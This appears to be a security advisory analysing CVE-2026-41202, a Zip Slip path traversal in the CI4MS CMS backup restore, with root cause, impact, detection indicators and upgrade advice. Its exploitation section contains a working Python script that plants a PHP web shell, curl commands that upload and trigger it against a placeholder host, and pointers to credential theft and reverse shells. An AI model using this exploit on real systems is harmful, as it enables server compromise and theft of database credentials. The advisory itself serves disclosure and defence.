CVE-2026-41202: 
PHP vulnerability analysis and mitigation

CVE-2026-41202 is a Zip Slip path traversal vulnerability in CI4MS (a CodeIgniter 4-based CMS skeleton) that allows an authenticated backend user with backup creation permissions to achieve remote code execution by writing arbitrary files to the filesystem. The vulnerability affects all CI4MS versions prior to 0.31.5.0. It was published on April 18, 2026, by researcher fg0x0, with the advisory formally added to the GitHub Advisory Database on April 22, 2026, and published by NVD on May 7, 2026. It carries a CVSS v4.0 base score of 9.4 (Critical) (Github Advisory, CI4MS Advisory).

The root cause is CWE-22 (Improper Limitation of a Pathname to a Restricted Directory), specifically in modules/Backup/Controllers/Backup.php (lines 80–119). The Backup::restore() method calls ZipArchive::extractTo() directly on user-uploaded ZIP archives without iterating over or validating entry names, allowing path traversal sequences (e.g., ../../public/shell.php) to escape the intended writable/uploads/ destination. Notably, the same codebase correctly implements a realpath + regex validation loop in modules/Methods/Controllers/Methods.php, but this check was not applied to the restore function. Compounding the risk, the restore route (POST backend/backup/restore) is listed in csrfExcept, meaning a logged-in administrator can be tricked into performing the restore cross-site, enabling drive-by RCE (Github Advisory, CI4MS Advisory).

Successful exploitation allows an attacker to write arbitrary files — including PHP web shells — to any location on the filesystem accessible by the web server process, including the public web root. This results in full remote code execution, complete compromise of the CI4MS installation, exposure of database credentials stored in .env, and access to all content managed by the application. Because the vulnerable route bypasses CSRF protection, a malicious page visited by an authenticated administrator can silently trigger the exploit, extending the attack surface to drive-by scenarios (Github Advisory).

A proof-of-concept exploit is publicly documented in the official security advisory, including Python code to craft the malicious ZIP and curl commands to upload and trigger the web shell. No evidence of in-the-wild exploitation or threat actor attribution has been reported at this time, and the vulnerability is not listed in the CISA KEV catalog. The EPSS score is approximately 0.534% (68th percentile), indicating a moderate relative probability of exploitation within 30 days (Github Advisory).

1. Obtain credentials: Acquire valid CI4MS backend credentials for an account with the backup create permission (e.g., through phishing, credential stuffing, or a compromised admin account).
2. Craft the malicious ZIP: Use Python to build a ZIP archive containing a path-traversal entry that places a PHP web shell in the public web root:

import zipfile
with zipfile.ZipFile('evil.zip', 'w') as z:
    z.writestr('../../public/shell.php', '<?php system($_GET["c"]); ?>')
    z.writestr('dump.sql', 'SELECT 1;')

3. Upload the archive: Submit the crafted ZIP to the restore endpoint using the authenticated session cookie:

curl -i -b 'ci4ms_session=<SESSION_TOKEN>' \
  -F 'backup_file=@evil.zip' \
  https://target.example.com/backend/backup/restore

4. Trigger the web shell: Access the dropped PHP file via the public web root to execute arbitrary OS commands:

curl 'https://target.example.com/shell.php?c=id'
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

5. Escalate / pivot: Use the web shell to read .env for database credentials, establish a reverse shell, or perform lateral movement within the server environment (Github Advisory, CI4MS Advisory).

• Network: Unexpected POST requests to /backend/backup/restore from unusual IP addresses or at unusual times; outbound connections from the web server process to unknown external hosts following a restore operation.
• File System: Presence of unexpected .php files in the public web root (e.g., public/shell.php) or other non-standard directories; newly created files with names inconsistent with legitimate backup content.
• Logs: Web server access logs showing POST /backend/backup/restore followed shortly by GET requests to newly created PHP files in the public directory; PHP error logs referencing ZipArchive::extractTo with paths outside writable/uploads/.
• Process: Unusual child processes spawned by the PHP-FPM or Apache/Nginx worker process (e.g., bash, sh, curl, wget, python) with command-line arguments matching web shell query parameters (Github Advisory).

Upgrade CI4MS to version 0.31.5.0 or later, which patches the Zip Slip vulnerability in both Backup::restore and Theme::upload by adding proper entry-name validation (CI4MS Release). As an interim workaround, restrict the backup create/restore permission to the minimum number of trusted administrators and monitor the restore endpoint closely. Additionally, consider removing the backend/backup/* routes from csrfExcept to eliminate the cross-site exploitation vector until the patch can be applied (Github Advisory).

The vulnerability was disclosed by researcher fg0x0 and credited alongside contributors @offset, @bugmithlegend, @peeefour, and @DexterHK in the release notes for v0.31.5.0. The maintainer characterized the fix as addressing a "severe directory traversal vulnerability" and strongly recommended immediate updates for all administrators running prior versions (CI4MS Release). No significant broader media coverage or notable community debate has been identified beyond standard vulnerability tracking feeds.